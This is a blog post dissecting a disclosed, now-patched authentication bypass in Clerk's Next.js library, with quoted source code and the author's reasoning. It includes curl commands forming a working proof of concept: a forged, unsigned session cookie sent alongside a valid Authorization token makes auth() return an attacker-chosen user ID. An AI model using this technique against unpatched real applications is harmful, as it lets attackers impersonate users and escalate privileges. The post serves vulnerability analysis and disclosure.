← About me

Investigating a major security vulnerability with Clerk's Next.js integration

January 26, 2024

On January 12th 2024, Clerk disclosed a major security vulnerability with their Next.js integration. Clerk is an auth provider similar to Auth0 and Firebase Auth, and Next.js is a popular JavaScript framework for building websites with React. The severity was immediately obvious. It allowed malicious actors to act on behalf of other users and had a CVSS score of 9.4 (critical).

But of course they didn’t immediately publicly share the exact details of the exploit. It wasn’t clear how bad the vulnerability actually was either. So instead of waiting for them to release their promised postmortem, I decided to figure it out myself. I thought it would be a fun challenge since I maintain an auth library as well.

This was written (but not published) before their postmortem was released.

Deep dive

Reading through the vulnerability report, the only hint I could find was that it had something to do with the internals used by auth() and getAuth(). Both of these are server APIs that return the current user.

The vulnerability impacts applications that use a Next.js backend. Specifically, those that call auth() in the App Router, or getAuth() in the Pages Router.

After looking through the source code, I found that auth() just used getAuth() under the hood, which was initialized with createGetAuth(). I also looked through the commit history between the patch (4.29.3) and the previous release (4.29.2), and saw that createGetAuth() had been rewritten. So this looked like a good place to start.

// @clerk/[email protected]
// node_modules/@clerk/nextjs/dist/esm/server/getAuth.js
const createGetAuth = ({ debugLoggerName, noAuthStatusMessage }) =>
	withLogger(debugLoggerName, (logger) => {
		return (req, opts) => {
			const authStatus = getAuthKeyFromRequest(req, "AuthStatus");
			// ...
			if (!authStatus) {
				throw new Error(noAuthStatusMessage);
			}
			const options = {
				// ...
			};
			if (authStatus !== AuthStatus.SignedIn) {
				return signedOutAuthObject(options);
			}
			const jwt = parseJwt(req);
			const signedIn = signedInAuthObject(jwt.payload, { ...options, token: jwt.raw.text });
			// ...
			return signedIn;
		};
	});

One thing sticked out to me immediately - parseJwt(). Here I learned Clerk uses JWT (JSON Web Token) for session tokens.

For those that don’t know what a JWT is, it’s a token with some JSON data (such as user ID) and a signature embedded into it. The signature allows you to verify the integrity of the JSON data using a secret key. It’s become popular as it allows you to validate tokens without a database - though it of course comes with its own downsides.

But parseJwt() just decoded the JWT payload. Why was it not validating the signature? That… can’t be it right? Surely a multimillion dollar company won’t make such a dumb mistake. And of course they didn’t. Reading the code again, there was an if statement to check the current auth status before it decoded the token. That status was stored in… the request?! Apparently the current auth status among other attributes were either directly stored in the Request object or as a custom header.

// @clerk/[email protected]
// node_modules/@clerk/nextjs/dist/esm/server/utils.js
function getAuthKeyFromRequest(req, key) {
	return (
		getCustomAttributeFromRequest(req, constants.Attributes[key]) ||
		getHeader(req, constants.Headers[key]) ||
		(key === "AuthStatus" ? getQueryParam(req, constants.SearchParams.AuthStatus) : void 0)
	);
}

So my guess was that they were validating the token somewhere, storing the current status to the request header as AuthStatus, and then parsing the token again when it needed to get the user if AuthStatus was set to "signed-in".

And that was exactly what was happening because Clerk used Next.js middleware.

Middleware allows you to run code on every request as well as modify the request/response. But unlike middleware in every other framework, in Next.js it runs on the Edge™ - basically a CDN that runs your code. This means the server hosting the middleware can be different from rest of your application even for the same request. You can’t just pass JS objects, such as the current user, between middleware and route handlers (where auth() is used). Instead, you have to add custom headers to the request.

// @clerk/[email protected]
// node_modules/@clerk/nextjs/dist/esm/server/authMiddleware.js
const authMiddleware = (...args) => {
	// ...
	return withLogger("authMiddleware", (logger) => async (_req, evt) => {
		const req = withNormalizedClerkUrl(_req);
		// ...
		// checks if authenticated
		const requestState = await authenticateRequest(req, options);
		// ...
		// set custom headers to be read by `auth()`
		return decorateRequest(req, finalRes, requestState);
	});
};

So at first, I thought maybe the vulnerability was that you can just send a AuthStatus header with a parsable, but invalid JWT. Maybe you could trick auth() into thinking that the token had been already validated and it would parse the token without validating it.

# Header from valid session token
HEADER="eyJhbGciOiJSUzI1NiIsImNhdCI6IkNBVCIsImtpZCI6IktJRCIsInR5cCI6IkpXVCJ9"
# { "sub": "pwned" }
PAYLOAD="eyJzdWIiOiAicHduZWQifQ"
# Random signature
FAKE_TOKEN="$HEADER.$PAYLOAD.MA"

# X-Clerk-Status: AuthStatus header
curl https://localhost:3000 \
    -H "Cookie: __session=$FAKE_TOKEN;__client_uat=1705888300" \
    -H "User-Agent": "im a browser i swear" \
    -H "X-Clerk-Auth-Status": "signed-in"

But again, it wasn’t that simple. The middleware will set the AuthStatus header even for unauthenticated request so you can’t manually override it.

I was stuck for a while but then realized I missed something.

// @clerk/[email protected]
// node_modules/@clerk/nextjs/dist/esm/server/getAuth.js
const parseJwt = (req) => {
	const cookieToken = getCookie(req, constants.Cookies.Session);
	const headerToken = getHeader(req, "authorization")?.replace("Bearer ", "");
	return decodeJwt(cookieToken || headerToken || "");
};

parseJwt() reads both the Cookie and Authorization header at the same time. Holy shit.

What if you send both a valid and fake session token at the same time?

VALID_TOKEN="<VALID_SESSION>"
# Header from valid session token
HEADER="eyJhbGciOiJSUzI1NiIsImNhdCI6IkNBVCIsImtpZCI6IktJRCIsInR5cCI6IkpXVCJ9"
# { "sub": "pwned" }
PAYLOAD="eyJzdWIiOiAicHduZWQifQ"
# Random signature
FAKE_TOKEN="$HEADER.$PAYLOAD.MA"

# X-Clerk-Status: AuthStatus header
curl http://localhost:3000/user \
    -H "Authorization: $VALID_TOKEN" \
    -H "Cookie: __session=$FAKE_TOKEN"
import { auth } from "@clerk/nextjs";

export async function GET() {
	const { userId } = auth();
	console.log(`User ID: ${userId}`);
	// ...
}

What get’s logged?

User ID: pwned

Bingo. All though, this was kind of an coincidence. I initially thought that the middleware validated both the Authorization header and cookie until it found a valid token. Looking through the source code however, it only checks the first one where a token exists - the issue was that it checked for the Authorization header first while auth() did the cookie first. Either way, this is a big yikes. A very big one. You could essentially impersonate any user with this as long as you know their user ID, which could be public information, or change roles to escalate your privilege.

If you’d like to see the exploit in action, I have a reproduction available on GitHub.

Closing thoughts

Clerk has fixed this issue by passing the validated token alongside AuhStatus in the header, and parsing that token instead. They also worked with various hosting providers to prevent the issue on the network level.

I do think this was preventable - don’t use middleware at all. Next.js middleware is just not the place to handle auth. I don’t like protecting routes with middleware in general, but Next.js comes with a big downside where you can’t share data between middleware and route handlers directly. Clerk’s attempt to go around that issue is what exactly caused the vulnerability.